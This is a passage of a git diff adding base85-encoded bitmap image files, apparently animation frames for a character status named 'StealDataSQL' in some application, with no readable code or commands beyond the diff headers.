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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 